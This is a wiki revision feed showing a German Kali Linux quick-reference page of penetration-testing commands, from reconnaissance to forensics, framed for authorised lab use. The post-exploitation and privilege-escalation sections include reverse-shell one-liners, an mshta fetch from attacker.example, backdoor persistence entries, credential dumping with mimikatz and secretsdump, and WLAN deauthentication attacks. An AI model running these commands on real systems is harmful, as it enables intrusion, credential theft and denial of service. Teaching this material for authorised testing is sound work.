https://www.xinux.net/index.php?action=history&feed=atom&title=Kali_100_Tools
Kali 100 Tools - Versionsgeschichte
2026-09-21T06:53:27Z
Versionsgeschichte dieser Seite in Xinux Wiki
MediaWiki 1.35.1
https://www.xinux.net/index.php?title=Kali_100_Tools&diff=73411&oldid=prev
Thomas.will: Die Seite wurde neu angelegt: „'''Kali-Linux-Werkzeuge - Kurzreferenz (Teil 4)''' Nachschlagewerk zu haeufig genutzten Werkzeugen aus dem Bereich Penetration Testing. Alle Beispiele sind au…“
2026-09-19T17:13:14Z
<p>Die Seite wurde neu angelegt: „'''Kali-Linux-Werkzeuge - Kurzreferenz (Teil 4)''' Nachschlagewerk zu haeufig genutzten Werkzeugen aus dem Bereich Penetration Testing. Alle Beispiele sind au…“</p>
<p><b>Neue Seite</b></p><div>'''Kali-Linux-Werkzeuge - Kurzreferenz (Teil 4)'''<br />
<br />
Nachschlagewerk zu haeufig genutzten Werkzeugen aus dem Bereich Penetration Testing. Alle Beispiele sind ausschliesslich fuer autorisierte Test- und Laborumgebungen (Uebungsnetz) gedacht.<br />
<br />
__TOC__<br />
<br />
== Reconnaissance und OSINT ==<br />
<br />
;Sammelt E-Mail-Adressen, Subdomains und Hostnamen aus oeffentlichen Quellen<br />
*theHarvester -d target.com -b all<br />
<br />
;Modulares OSINT-Framework mit Metasploit-aehnlicher Konsole<br />
*recon-ng<br />
<br />
;Umfassende Subdomain-Enumeration<br />
*amass enum -d domain.com<br />
<br />
;DNS-Enumeration mit Records, Subdomains und Zonentransfer-Versuch<br />
*dnsenum target.com<br />
<br />
;Grafische Oberflaeche zur OSINT-Analyse und Verknuepfung von Datenpunkten<br />
*maltego<br />
<br />
;Informationsbeschaffung zu einer Telefonnummer<br />
*phoneinfoga scan -n +491234567<br />
<br />
;Prueft die Existenz eines Benutzernamens auf vielen Plattformen<br />
*socialscan username<br />
<br />
;Prueft, auf welchen Diensten eine E-Mail-Adresse registriert ist<br />
*holehe -e user@example.com<br />
<br />
;Durchsucht GitHub nach versehentlich veroeffentlichten Daten<br />
*github-dorks -d <dork><br />
<br />
;Scrapt Daten von X (Twitter)<br />
*twint -u <username><br />
<br />
== Netzwerk-Enumeration ==<br />
<br />
;Findet aktive Hosts per ARP im lokalen Netz<br />
*netdiscover -r 192.168.1.0/24<br />
<br />
;Zeigt die lokale ARP-Tabelle mit bekannten Nachbarn<br />
*arp -a<br />
<br />
;Sendet ARP-Anfragen an einen Host<br />
*arping -c 5 <IP><br />
<br />
;Sehr schneller Portscan grosser Portbereiche<br />
*masscan -p1-65535 --rate 10000 <IP><br />
<br />
;Schneller Scan aller 65535 TCP-Ports<br />
*nmap -p- --min-rate=1000 -T4 <IP><br />
<br />
;Detailscan mit Standardskripten und Versionserkennung<br />
*nmap -sC -sV -p 80,443 <IP><br />
<br />
;Einfacher Portscan mit Netcat<br />
*nc -w 5 -zv <IP> 22-1000<br />
<br />
;Prueft auf DNS-Zonentransfer<br />
*dnsrecon -d target.com -t axfr<br />
<br />
== Web Exploitation ==<br />
<br />
;Erkennt die auf einer Website eingesetzten Technologien<br />
*whatweb http://target.com<br />
<br />
;Scannt Webserver auf bekannte Schwachstellen und Fehlkonfigurationen<br />
*nikto -h http://target.com<br />
<br />
;Fuzzing versteckter Verzeichnisse und Dateien<br />
*ffuf -w wordlist.txt -u http://target.com/FUZZ<br />
<br />
;Automatisierte SQL-Injection, listet Datenbanken auf<br />
*sqlmap -u "http://target.com/page.php?id=1" --dbs<br />
<br />
;Erkennt XSS-Schwachstellen<br />
*xsstrike -u "http://target.com/search.php?q=test"<br />
<br />
== Wireless und Bluetooth ==<br />
<br />
;Sucht erreichbare Bluetooth-Geraete<br />
*hcitool scan<br />
<br />
;Ping an ein Bluetooth-Geraet<br />
*l2ping -c 5 <device_MAC><br />
<br />
;Scannt nach Bluetooth-Geraeten in der Umgebung<br />
*btscanner<br />
<br />
;Aktiviert das Bluetooth-Interface<br />
*hciconfig hci0 up<br />
<br />
;Setzt die WLAN-Sendeleistung (regulatorisch begrenzt)<br />
*iwconfig wlan0 txpower 30<br />
<br />
;Zeichnet WPA-Handshakes bzw. PMKID auf<br />
*hcxdumptool -o capture.pcapng -i wlan0mon<br />
<br />
;Bruteforce eines aufgezeichneten WPA-Handshakes<br />
*aircrack-ng -b <BSSID> -w wordlist.txt handshake.cap<br />
<br />
;Framework fuer MITM-Angriffe im WLAN<br />
*bettercap -iface wlan0<br />
<br />
;Sendet Deauthentifizierungs-Pakete an ein Netz<br />
*aireplay-ng -0 10 -a <BSSID> wlan0mon<br />
<br />
;Deauthentifiziert alle Clients (Denial of Service)<br />
*mdk4 wlan0mon d<br />
<br />
== Windows, SMB und Active Directory ==<br />
<br />
;Verbindet sich als Gast mit einer SMB-Freigabe<br />
*smbclient -U "guest" //<target_IP>/share<br />
<br />
;Listet erreichbare SMB-Freigaben und Rechte<br />
*smbmap -H <target_IP><br />
<br />
;Enumeriert SMB-Freigaben, Benutzer und Gruppen<br />
*enum4linux -a <target_IP><br />
<br />
;SMB-Enumeration und Test von Zugangsdaten<br />
*crackmapexec smb <IP> -u user -p password<br />
<br />
;Verbindet sich mit dem RPC-Dienst fuer Benutzer- und Gruppenabfragen<br />
*rpcclient -U "Administrator" <target_IP><br />
<br />
;Listet Domaenenbenutzer<br />
*net user /domain<br />
<br />
;Findet die Domaenencontroller<br />
*nltest /dclist:domain.com<br />
<br />
;Sammelt AD-Enumerationsdaten fuer BloodHound<br />
*bloodhound-python -c All -d domain.com -u user -p pass<br />
<br />
;Extrahiert Windows-Passworthashes (Impacket)<br />
*secretsdump.py <user>@<target_IP><br />
<br />
;Fuehrt Befehle remote per WMI aus (Impacket)<br />
*wmiexec.py <domain>/<user>:<password>@<target><br />
<br />
;Liest Windows-Anmeldedaten aus dem Speicher<br />
*mimikatz "privilege::debug" "sekurlsa::logonpasswords"<br />
<br />
;Fordert SPN-Tickets zum Offline-Cracken an (Kerberoasting)<br />
*kerberoast -u <user> -p <password> -d <domain><br />
<br />
== Cloud-Pentesting ==<br />
<br />
;Richtet die AWS-CLI mit Zugangsdaten und Region ein<br />
*aws configure<br />
<br />
;Zeigt die aktuelle AWS-Identitaet<br />
*aws sts get-caller-identity<br />
<br />
;Listet die IAM-Benutzer<br />
*aws iam list-users<br />
<br />
;Listet erreichbare S3-Buckets<br />
*aws s3 ls<br />
<br />
;Listet gespeicherte Secrets<br />
*aws secretsmanager list-secrets<br />
<br />
;Sucht oeffentliche Cloud-Ressourcen ueber AWS, Azure und GCP<br />
*cloud_enum -k <keyword><br />
<br />
;Prueft die Berechtigungen eines S3-Buckets<br />
*s3scanner -b <bucket_name><br />
<br />
;Sucht in Repositories nach versehentlich veroeffentlichten Secrets<br />
*trufflehog --regex --entropy=True --max_depth=10 https://github.com/repo.git<br />
<br />
;Zeigt aktive Google-Cloud-Anmeldungen<br />
*gcloud auth list<br />
<br />
;Meldet an der Azure-CLI an<br />
*az login<br />
<br />
== Privilege Escalation (Linux) ==<br />
<br />
;Zeigt, welche Befehle der Benutzer per sudo ausfuehren darf<br />
*sudo -l<br />
<br />
;Findet SUID-Binaries<br />
*find / -perm -4000 -type f 2>/dev/null<br />
<br />
;Findet Dateien mit gesetzten Capabilities<br />
*getcap -r / 2>/dev/null<br />
<br />
;Zeigt die Capabilities des aktuellen Prozesses<br />
*capsh --print<br />
<br />
;Prueft die secure_path-Konfiguration von sudo<br />
*strings /usr/bin/sudo | grep secure_path<br />
<br />
;Zeigt als root laufende Prozesse<br />
*ps aux | grep root<br />
<br />
;Zeigt die Kernel-Version als Ausgangspunkt fuer die Suche nach bekannten Luecken<br />
*uname -a<br />
<br />
;Identifiziert die Distribution<br />
*cat /etc/issue<br />
<br />
;Nutzt fehlkonfigurierte Python-Capabilities zur Rechteausweitung<br />
*python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'<br />
<br />
;Fuehrt ein Skript mit root-Rechten aus, wenn sudo fuer python freigegeben ist<br />
*echo 'import os; os.system("/bin/bash")' > /tmp/script.py && sudo python3 /tmp/script.py<br />
<br />
== Post-Exploitation und Persistenz ==<br />
<br />
;Erzeugt eine Windows-Reverse-Shell-Payload<br />
*msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe > shell.exe<br />
<br />
;Legt eine geplante Aufgabe als Persistenz an (Windows)<br />
*schtasks /create /tn "Backdoor" /tr "..." /sc onstart /ru system<br />
<br />
;Traegt ein Programm in den Autostart der Registry ein<br />
*reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\path\to\file.exe"<br />
<br />
;Aendert die Dateiberechtigungen unter Windows<br />
*icacls C:\Users\Public\file.exe /grant Everyone:F<br />
<br />
;Fuehrt einen Befehl per WMIC aus<br />
*wmic process call create "..."<br />
<br />
;Fuehrt eine HTA-Payload aus<br />
*mshta "http://attacker.example/payload.hta"<br />
<br />
;Reverse Shell ueber PowerShell<br />
*powercat -c <IP> -p 4444 -e cmd<br />
<br />
;Legt eine SUID-Shell an (setzt root-Rechte voraus)<br />
*cp /bin/bash /tmp/bash && chmod +s /tmp/bash<br />
<br />
;Reverse Shell per Cronjob<br />
*echo '*/5 * * * * nc -e /bin/sh <IP> 4444' | crontab -<br />
<br />
;Aktiviert Persistenz in Meterpreter<br />
*persistence -U -i 30 -p 4444 -r<br />
<br />
== Social Engineering und Phishing ==<br />
<br />
;Startet das Social-Engineering Toolkit (SET)<br />
*setoolkit<br />
<br />
;Automatisiert Phishing-Kampagnen anhand fertiger Vorlagen<br />
*zphisher<br />
<br />
== Forensik und Steganografie ==<br />
<br />
;Zeigt und bearbeitet Metadaten von Dateien<br />
*exiftool image.jpg<br />
<br />
;Erkennt und extrahiert eingebettete Daten aus Dateien<br />
*binwalk -e image.png<br />
<br />
;Extrahiert lesbaren Text aus Binaerdateien<br />
*strings file.bin<br />
<br />
;File Carving zur Wiederherstellung geloeschter Dateien<br />
*foremost -i disk.img -o output/<br />
<br />
;Stellt geloeschte Dateien von einem Datentraeger wieder her<br />
*photorec /dev/sdb<br />
<br />
;Erstellt effizient ein Abbild eines Datentraegers<br />
*bmaptool copy /dev/sda image.img<br />
<br />
;Extrahiert Artefakte wie E-Mails und URLs aus einem Abbild<br />
*bulk_extractor -o output/ disk.img<br />
<br />
;Analysiert Windows-Speicherabbilder<br />
*volatility -f memory.img --profile=Win10 pslist<br />
<br />
;Analysiert Steganografie in PNG- und BMP-Dateien<br />
*zsteg image.png<br />
<br />
;Erkennt Steganografie in JPEGs<br />
*stegdetect -s image.jpg<br />
<br />
== Sonstige nuetzliche Werkzeuge ==<br />
<br />
;Interaktiver Prozess- und Ressourcenmonitor als Alternative zu top<br />
*htop<br />
<br />
;Terminal-Multiplexer fuer mehrere Sessions und Fenster<br />
*tmux<br />
<br />
;Grafischer Netzwerk-Sniffer und Analyzer<br />
*wireshark<br />
<br />
;Leitet den Verkehr eines Programms ueber Proxys bzw. Tor<br />
*proxychains firefox<br />
<br />
;Installiert die Impacket-Bibliothek mit Werkzeugen fuer Windows-Protokolle<br />
*pip install impacket<br />
<br />
;Aktiviert IP-Forwarding, etwa fuer MITM-Szenarien<br />
*echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
;Oeffnet ein Terminal und fuehrt einen Befehl aus<br />
*gnome-terminal -- bash -c 'befehl; exec bash'<br />
<br />
;Beendet die aktuelle Shell-Sitzung<br />
*exit</div>
Thomas.will